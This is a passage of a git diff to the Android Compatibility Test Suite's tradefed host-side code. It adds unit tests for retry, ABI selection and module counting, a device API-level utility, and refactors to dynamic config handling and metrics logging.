+        TestStubShardable test = new TestStubShardable();
+        OptionCopier.copyOptionsNoThrow(this, test);
+        test.mShardedTestToRun = new ArrayList<>();
+        TestIdentifier tid = new TestIdentifier("TestStub", "test" + shardIndex);
+        test.mShardedTestToRun.add(tid);
+        if (mIsComplete == false) {
+            TestIdentifier tid2 = new TestIdentifier("TestStub", "test" + shardIndex + 100);
+            test.mShardedTestToRun.add(tid2);
+            test.mIsComplete = false;
+        }
+        test.mShardIndex = shardIndex;
+        return test;
+    }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
new file mode 100644
index 0000000..01557e3
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype.retry;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
+import com.android.tradefed.config.OptionClass;
+import com.android.tradefed.config.OptionSetter;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.result.ITestInvocationListener;
+
+import org.easymock.EasyMock;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * Unit tests for {@link RetryFactoryTest}.
+ */
+@RunWith(JUnit4.class)
+public class RetryFactoryTestTest {
+
+    private RetryFactoryTest mFactory;
+    private ITestInvocationListener mMockListener;
+    private RetryFilterHelper mSpyFilter;
+
+    /**
+     * A {@link CompatibilityTest} that does not run anything.
+     */
+    @OptionClass(alias = "compatibility")
+    public static class VoidCompatibilityTest extends CompatibilityTest {
+        @Override
+        public void run(ITestInvocationListener listener)
+                throws DeviceNotAvailableException {
+            // Do not run.
+        }
+    }
+
+    @Before
+    public void setUp() {
+        mSpyFilter = new RetryFilterHelper() {
+            @Override
+            public void validateBuildFingerprint(ITestDevice device)
+                    throws DeviceNotAvailableException {
+                // do nothing
+            }
+            @Override
+            public void setCommandLineOptionsFor(Object obj) {
+                // do nothing
+            }
+            @Override
+            public void populateFiltersBySubPlan() {
+                // do nothing
+            }
+        };
+        mFactory = new RetryFactoryTest() {
+            @Override
+            RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
+                return mSpyFilter;
+            }
+            @Override
+            CompatibilityTest createTest() {
+                return new VoidCompatibilityTest();
+            }
+        };
+        mMockListener = EasyMock.createMock(ITestInvocationListener.class);
+    }
+
+    /**
+     * Tests that the CompatibilityTest created can receive all the options without throwing.
+     */
+    @Test
+    public void testRetry_receiveOption() throws Exception {
+        OptionSetter setter = new OptionSetter(mFactory);
+        setter.setOptionValue("retry", "10599");
+        EasyMock.replay(mMockListener);
+        mFactory.run(mMockListener);
+        EasyMock.verify(mMockListener);
+    }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuiteTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuiteTest.java
new file mode 100644
index 0000000..86569ef
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuiteTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype.suite;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.tradefed.config.OptionSetter;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.util.AbiUtils;
+
+import org.easymock.EasyMock;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Unit tests for {@link CompatibilityTestSuite}.
+ */
+public class CompatibilityTestSuiteTest {
+
+    private static final String FAKE_HOST_ARCH = "arm";
+    private CompatibilityTestSuite mTest;
+    private ITestDevice mMockDevice;
+
+    @Before
+    public void setUp() throws Exception {
+        mTest = new CompatibilityTestSuite() {
+            @Override
+            protected Set<String> getAbisForBuildTargetArch() {
+                return AbiUtils.getAbisForArch(FAKE_HOST_ARCH);
+            }
+        };
+        mMockDevice = EasyMock.createMock(ITestDevice.class);
+        mTest.setDevice(mMockDevice);
+    }
+
+    /**
+     * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is returning a proper
+     * intersection of CTS supported architectures and Device supported architectures.
+     */
+    @Test
+    public void testGetAbis() throws DeviceNotAvailableException {
+        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
+                .andReturn("arm64-v8a,armeabi-v7a,armeabi");
+        Set<String> expectedAbis = new HashSet<>();
+        expectedAbis.add("arm64-v8a");
+        expectedAbis.add("armeabi-v7a");
+        EasyMock.replay(mMockDevice);
+        Set<IAbi> res = mTest.getAbis(mMockDevice);
+        assertEquals(2, res.size());
+        for (IAbi abi : res) {
+            assertTrue(expectedAbis.contains(abi.getName()));
+        }
+        EasyMock.verify(mMockDevice);
+    }
+
+    /**
+     * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is throwing an exception when
+     * none of the CTS build supported abi match the device abi.
+     */
+    @Test
+    public void testGetAbis_notSupported() throws DeviceNotAvailableException {
+        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
+                .andReturn("armeabi");
+        EasyMock.replay(mMockDevice);
+        try {
+            mTest.getAbis(mMockDevice);
+            fail("Should have thrown an exception");
+        } catch (IllegalArgumentException e) {
+            assertEquals("None of the abi supported by this CTS build ('[armeabi-v7a, arm64-v8a]')"
+                    + " are supported by the device ('[armeabi]').", e.getMessage());
+        }
+        EasyMock.verify(mMockDevice);
+    }
+
+    /**
+     * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is returning only the device
+     * primary abi.
+     */
+    @Test
+    public void testGetAbis_primaryAbiOnly() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue(CompatibilityTest.PRIMARY_ABI_RUN, "true");
+        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abi")))
+                .andReturn("arm64-v8a");
+        Set<String> expectedAbis = new HashSet<>();
+        expectedAbis.add("arm64-v8a");
+        EasyMock.replay(mMockDevice);
+        Set<IAbi> res = mTest.getAbis(mMockDevice);
+        assertEquals(1, res.size());
+        for (IAbi abi : res) {
+            assertTrue(expectedAbis.contains(abi.getName()));
+        }
+        EasyMock.verify(mMockDevice);
+    }
+
+    /**
+     * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is throwing an exception if
+     * the primary abi is not supported.
+     */
+    @Test
+    public void testGetAbis_primaryAbiOnly_NotSupported() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue(CompatibilityTest.PRIMARY_ABI_RUN, "true");
+        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abi")))
+                .andReturn("armeabi");
+        EasyMock.replay(mMockDevice);
+        try {
+            mTest.getAbis(mMockDevice);
+            fail("Should have thrown an exception");
+        } catch (IllegalArgumentException e) {
+            assertEquals("Your CTS hasn't been built with abi 'armeabi' support, "
+                    + "this CTS currently supports '[armeabi-v7a, arm64-v8a]'.", e.getMessage());
+        }
+        EasyMock.verify(mMockDevice);
+    }
+
+    /**
+     * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is returning the list of abi
+     * supported by Compatibility and the device, and not the particular CTS build.
+     */
+    @Test
+    public void testGetAbis_skipCtsArchCheck() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue(CompatibilityTest.SKIP_HOST_ARCH_CHECK, "true");
+        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
+                .andReturn("x86_64,x86,armeabi");
+        Set<String> expectedAbis = new HashSet<>();
+        expectedAbis.add("x86_64");
+        expectedAbis.add("x86");
+        EasyMock.replay(mMockDevice);
+        Set<IAbi> res = mTest.getAbis(mMockDevice);
+        assertEquals(2, res.size());
+        for (IAbi abi : res) {
+            assertTrue(expectedAbis.contains(abi.getName()));
+        }
+        EasyMock.verify(mMockDevice);
+    }
+
+    /**
+     * Test {@link CompatibilityTestSuite#getAbis(ITestDevice)} when we skip the Cts side
+     * architecture check and want to run x86 abi.
+     */
+    @Test
+    public void testGetAbis_skipCtsArchCheck_abiSpecified() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue(CompatibilityTest.SKIP_HOST_ARCH_CHECK, "true");
+        setter.setOptionValue(CompatibilityTest.ABI_OPTION, "x86");
+        Set<String> expectedAbis = new HashSet<>();
+        expectedAbis.add("x86");
+        EasyMock.replay(mMockDevice);
+        Set<IAbi> res = mTest.getAbis(mMockDevice);
+        assertEquals(1, res.size());
+        for (IAbi abi : res) {
+            assertTrue(expectedAbis.contains(abi.getName()));
+        }
+        EasyMock.verify(mMockDevice);
+    }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/CollectorUtilTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/CollectorUtilTest.java
index 5e06d26..3f13671 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/CollectorUtilTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/CollectorUtilTest.java
@@ -22,7 +22,7 @@
  */
 public class CollectorUtilTest extends TestCase {
 
-    String UNFORMATTED_JSON = "{"
+    private static final String UNFORMATTED_JSON = "{"
             + "\"stream_name_1\":"
             + "{\"id\":1,\"key1\":\"value1\"},"
             + "\"stream_name_2\":"
@@ -31,7 +31,7 @@
             + "{\"id\":2,\"key1\":\"value2\"},"
             + "}";
 
-    String REFORMATTED_JSON = "{"
+    private static final String REFORMATTED_JSON = "{"
             + "\"stream_name_2\":"
             + "["
             + "{\"id\":1,\"key1\":\"value3\"}"
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/RetryFilterHelperTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/RetryFilterHelperTest.java
index 05d35ec..328dc9e 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/RetryFilterHelperTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/RetryFilterHelperTest.java
@@ -15,38 +15,48 @@
  */
 package com.android.compatibility.common.tradefed.util;
 
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
-import com.android.tradefed.config.OptionSetter;
+import static org.junit.Assert.*;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.HashSet;
+import java.util.Set;
 
 /**
  * Unit tests for {@link RetryFilterHelper}
  */
-public class RetryFilterHelperTest extends TestCase {
+@RunWith(JUnit4.class)
+public class RetryFilterHelperTest {
 
     private static final String TEST_STRING = "abcd";
     private static final RetryType TEST_RETRY_TYPE = RetryType.FAILED;
 
+    /**
+     * Tests that options can be internally copied using
+     * {@link RetryFilterHelper#setAllOptionsFrom(RetryFilterHelper)}.
+     */
+    @Test
     public void testSetAllOptionsFrom() throws Exception {
         RetryFilterHelper helper = new RetryFilterHelper(null, 0);
-        RetryFilterHelper otherObj = new RetryFilterHelper(null, 0);
-        OptionSetter otherObjSetter = new OptionSetter(otherObj);
-        otherObjSetter.setOptionValue(CompatibilityTest.SUBPLAN_OPTION, TEST_STRING);
+        RetryFilterHelper otherObj = new RetryFilterHelper(null, 0, TEST_STRING,
+                new HashSet<String>(), new HashSet<String>(), null ,null, null, null);
         helper.setAllOptionsFrom(otherObj);
         assertEquals(TEST_STRING, helper.mSubPlan);
     }
 
+    /**
+     * Tests that options can be cleared using {@link RetryFilterHelper#clearOptions()}.
+     */
+    @Test
     public void testClearOptions() throws Exception {
-        RetryFilterHelper helper = new RetryFilterHelper(null, 0);
-        OptionSetter setter = new OptionSetter(helper);
-        setter.setOptionValue(CompatibilityTest.SUBPLAN_OPTION, TEST_STRING);
-        setter.setOptionValue(CompatibilityTest.INCLUDE_FILTER_OPTION, TEST_STRING);
-        setter.setOptionValue(CompatibilityTest.EXCLUDE_FILTER_OPTION, TEST_STRING);
-        setter.setOptionValue(CompatibilityTest.ABI_OPTION, TEST_STRING);
-        setter.setOptionValue(CompatibilityTest.MODULE_OPTION, TEST_STRING);
-        setter.setOptionValue(CompatibilityTest.TEST_OPTION, TEST_STRING);
-        setter.setOptionValue(CompatibilityTest.TEST_OPTION, TEST_RETRY_TYPE.name());
+        Set<String> include = new HashSet<>();
+        include.add(TEST_STRING);
+        Set<String> exclude = new HashSet<>();
+        exclude.add(TEST_STRING);
+        RetryFilterHelper helper = new RetryFilterHelper(null, 0, TEST_STRING, include, exclude,
+                TEST_STRING, TEST_STRING, TEST_STRING, TEST_RETRY_TYPE);
         helper.clearOptions();
         assertTrue(helper.mSubPlan == null);
         assertTrue(helper.mIncludeFilters.isEmpty());
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtilTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtilTest.java
new file mode 100644
index 0000000..8e20133
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtilTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.util;
+
+import static org.junit.Assert.assertEquals;
+
+import com.android.compatibility.common.tradefed.testtype.IModuleDef;
+import com.android.compatibility.common.tradefed.testtype.ModuleDef;
+import com.android.compatibility.common.tradefed.testtype.TestStub;
+import com.android.tradefed.config.ConfigurationDescriptor;
+import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.testtype.Abi;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Unit tests for {@link UniqueModuleCountUtil}.
+ */
+public class UniqueModuleCountUtilTest {
+
+    @Test
+    public void testCountEmptyList() {
+        List<IModuleDef> emptyList = new ArrayList<>();
+        assertEquals(0, UniqueModuleCountUtil.countUniqueModules(emptyList));
+    }
+
+    @Test
+    public void testCount_2uniquesModules() {
+        List<IModuleDef> list = new ArrayList<>();
+        list.add(new ModuleDef("moduleA", new Abi("arm64", "64"), new TestStub(),
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
+        list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
+        assertEquals(2, UniqueModuleCountUtil.countUniqueModules(list));
+    }
+
+    @Test
+    public void testCount_2subModules() {
+        List<IModuleDef> list = new ArrayList<>();
+        list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
+        list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
+        assertEquals(1, UniqueModuleCountUtil.countUniqueModules(list));
+    }
+
+    @Test
+    public void testCount_mix() {
+        List<IModuleDef> list = new ArrayList<>();
+        list.add(new ModuleDef("moduleA", new Abi("arm64", "64"), new TestStub(),
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
+        list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
+        list.add(new ModuleDef("moduleC", new Abi("arm32", "32"), new TestStub(),
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
+        list.add(new ModuleDef("moduleB", new Abi("arm64", "64"), new TestStub(),
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
+        list.add(new ModuleDef("moduleB", new Abi("arm32", "32"), new TestStub(),
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
+        list.add(new ModuleDef("moduleC", new Abi("arm64", "64"), new TestStub(),
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
+        list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
+        list.add(new ModuleDef("moduleC", new Abi("arm32", "32"), new TestStub(),
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
+        assertEquals(6, UniqueModuleCountUtil.countUniqueModules(list));
+    }
+}
diff --git a/common/host-side/util/Android.mk b/common/host-side/util/Android.mk
index 5f5fb6f..23626bd 100644
--- a/common/host-side/util/Android.mk
+++ b/common/host-side/util/Android.mk
@@ -20,12 +20,12 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-common-util-hostsidelib jsonlib
 
-LOCAL_JAVA_LIBRARIES := json-prebuilt tradefed-prebuilt
+LOCAL_JAVA_LIBRARIES := json-prebuilt tradefed
 
 LOCAL_MODULE := compatibility-host-util
 
 LOCAL_MODULE_TAGS := optional
-
+include cts/error_prone_rules.mk
 include $(BUILD_HOST_JAVA_LIBRARY)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
new file mode 100644
index 0000000..38158b4
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+/**
+ * Device-side compatibility utility class for reading device API level.
+ */
+public class ApiLevelUtil {
+
+    public static final String CODENAME = "ro.build.version.codename";
+
+    public static boolean isBefore(ITestDevice device, int version)
+            throws DeviceNotAvailableException {
+        return device.getApiLevel() < version;
+    }
+
+    public static boolean isAfter(ITestDevice device, int version)
+            throws DeviceNotAvailableException {
+        return device.getApiLevel() > version;
+    }
+
+    public static boolean isAtLeast(ITestDevice device, int version)
+            throws DeviceNotAvailableException {
+        return device.getApiLevel() >= version;
+    }
+
+    public static boolean isAtMost(ITestDevice device, int version)
+            throws DeviceNotAvailableException {
+        return device.getApiLevel() <= version;
+    }
+
+    public static int getApiLevel(ITestDevice device) throws DeviceNotAvailableException {
+        return device.getApiLevel();
+    }
+
+    public static boolean codenameEquals(ITestDevice device, String name)
+            throws DeviceNotAvailableException {
+        return device.getProperty(CODENAME).equalsIgnoreCase(name.trim());
+    }
+
+    public static boolean codenameStartsWith(ITestDevice device, String prefix)
+            throws DeviceNotAvailableException {
+        return device.getProperty(CODENAME).startsWith(prefix);
+    }
+
+    public static String getCodename(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return device.getProperty(CODENAME);
+    }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
index 351c08f..8df1ebc 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
@@ -16,6 +16,8 @@
 
 package com.android.compatibility.common.util;
 
+import com.android.tradefed.util.FileUtil;
+
 import org.json.JSONArray;
 import org.json.JSONException;
 import org.json.JSONObject;
@@ -35,8 +37,7 @@
 
 public class DynamicConfigHandler {
 
-    private static final String LOG_TAG = DynamicConfigHandler.class.getSimpleName();
-
+    private final static String MERGED_CONFIG_FILE_FOLDER = "dynamic-config-files-merged";
     private static final String NS = null; //xml constant representing null namespace
     private static final String ENCODING = "UTF-8";
 
@@ -75,9 +76,7 @@
     private static File storeMergedConfigFile(Map<String, List<String>> configMap,
             String moduleName) throws XmlPullParserException, IOException {
 
-        File folder = new File(DynamicConfig.MERGED_CONFIG_FILE_FOLDER);
-        folder.mkdirs();
-
+        File folder = FileUtil.createTempDir(MERGED_CONFIG_FILE_FOLDER);
         File mergedConfigFile = new File(folder, moduleName + ".dynamic");
         OutputStream stream = new FileOutputStream(mergedConfigFile);
         XmlSerializer serializer = XmlPullParserFactory.newInstance().newSerializer();
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
index 3e94d36..fd823bf 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
@@ -16,20 +16,54 @@
 
 package com.android.compatibility.common.util;
 
+import com.android.tradefed.build.IBuildInfo;
+
 import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.File;
 import java.io.IOException;
+import java.util.List;
+import java.util.Map;
 
 /**
  * Load dynamic config for device side test cases
  */
-public class DynamicConfigHostSide extends DynamicConfig {
+public class DynamicConfigHostSide {
 
-    private static String LOG_TAG = DynamicConfigHostSide.class.getSimpleName();
+    public static final String CONFIG_PATH_PREFIX = "DYNAMIC_CONFIG_FILE:";
 
-    public DynamicConfigHostSide(String moduleName) throws IOException, XmlPullParserException {
-        File configFile = getConfigFile(new File(CONFIG_FOLDER_ON_HOST), moduleName);
-        initializeConfig(configFile);
+    /**
+     * Returns the value of a key from a downloaded file.
+     *
+     * @param file The file downloaded, can be retrieve via
+     *        {@link #getDynamicConfigFile(IBuildInfo, String)}
+     * @param key the key inside the file which value we want to return
+     * @return the value associated to the key in the config file provided.
+     */
+    public static String getValueFromConfig(File file, String key)
+            throws XmlPullParserException, IOException {
+        Map<String, List<String>> configMap = DynamicConfig.createConfigMap(file);
+        List<String> singleValue = configMap.get(key);
+        if (singleValue == null || singleValue.size() == 0 || singleValue.size() > 1) {
+            // key must exist in the map, and map to a list containing exactly one string
+            return null;
+        }
+        return singleValue.get(0);
+    }
+
+    /**
+     * Returns a dynamic config file downloaded in {@link DynamicConfigPusher} the path is stored
+     * in the build info under a module name.
+     *
+     * @param info the invocation {@link IBuildInfo}
+     * @param moduleName the name of the module of the file.
+     * @return a {@link File} created from the downloaded file.
+     */
+    public static File getDynamicConfigFile(IBuildInfo info, String moduleName) {
+        String path = info.getBuildAttributes().get(CONFIG_PATH_PREFIX + moduleName);
+        if (path!= null && !path.isEmpty()) {
+            return new File(path);
+        }
+        return null;
     }
 }
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java b/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java
index a17f17a..3b7f6c8 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/HostInfoStore.java
@@ -22,7 +22,6 @@
 import java.io.IOException;
 import java.io.OutputStreamWriter;
 import java.nio.charset.StandardCharsets;
-import java.util.Arrays;
 import java.util.List;
 
 public class HostInfoStore extends InfoStore {
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/MetricsReportLog.java b/common/host-side/util/src/com/android/compatibility/common/util/MetricsReportLog.java
index b87b86c..5ea9928 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/MetricsReportLog.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/MetricsReportLog.java
@@ -20,7 +20,6 @@
 import com.android.tradefed.util.FileUtil;
 
 import java.io.File;
-import java.io.IOException;
 import java.util.List;
 
 /**
@@ -69,7 +68,7 @@
         super.addValue(source, message, value, type, unit);
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -82,7 +81,7 @@
         super.addValue(message, value, type, unit);
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
 
@@ -97,7 +96,7 @@
         super.addValues(source, message, values, type, unit);
         try {
             store.addArrayResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -110,7 +109,7 @@
         super.addValues(message, values, type, unit);
         try {
             store.addArrayResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -122,7 +121,7 @@
     public void addValue(String message, int value, ResultType type, ResultUnit unit) {
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -134,7 +133,7 @@
     public void addValue(String message, long value, ResultType type, ResultUnit unit) {
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -146,7 +145,7 @@
     public void addValue(String message, float value, ResultType type, ResultUnit unit) {
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -158,7 +157,7 @@
     public void addValue(String message, boolean value, ResultType type, ResultUnit unit) {
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -170,7 +169,7 @@
     public void addValue(String message, String value, ResultType type, ResultUnit unit) {
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -182,7 +181,7 @@
     public void addValues(String message, int[] values, ResultType type, ResultUnit unit) {
         try {
             store.addArrayResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -194,7 +193,7 @@
     public void addValues(String message, long[] values, ResultType type, ResultUnit unit) {
         try {
             store.addArrayResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -206,7 +205,7 @@
     public void addValues(String message, float[] values, ResultType type, ResultUnit unit) {
         try {
             store.addArrayResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -218,7 +217,7 @@
     public void addValues(String message, boolean[] values, ResultType type, ResultUnit unit) {
         try {
             store.addArrayResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -230,7 +229,7 @@
     public void addValues(String message, List<String> values, ResultType type, ResultUnit unit) {
         try {
             store.addListResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -245,7 +244,7 @@
         super.setSummary(message, value, type, unit);
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -256,9 +255,9 @@
     public void submit() {
         try {
             store.close();
-        } catch (IOException e) {
+            MetricsStore.storeResult(mBuildInfo, mAbi, mClassMethodName, this);
+        } catch (Exception e) {
             e.printStackTrace();
         }
-        MetricsStore.storeResult(mBuildInfo, mAbi, mClassMethodName, this);
     }
 }
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/MonitoringUtils.java b/common/host-side/util/src/com/android/compatibility/common/util/MonitoringUtils.java
index e24ca40..148a9a5 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/MonitoringUtils.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/MonitoringUtils.java
@@ -42,7 +42,8 @@
                 return true;
             } else {
                 CLog.logAndDisplay(LogLevel.INFO,
-                        "Connectivity check failed, retrying in %dms",
+                        "Connectivity check failed on %s, retrying in %dms",
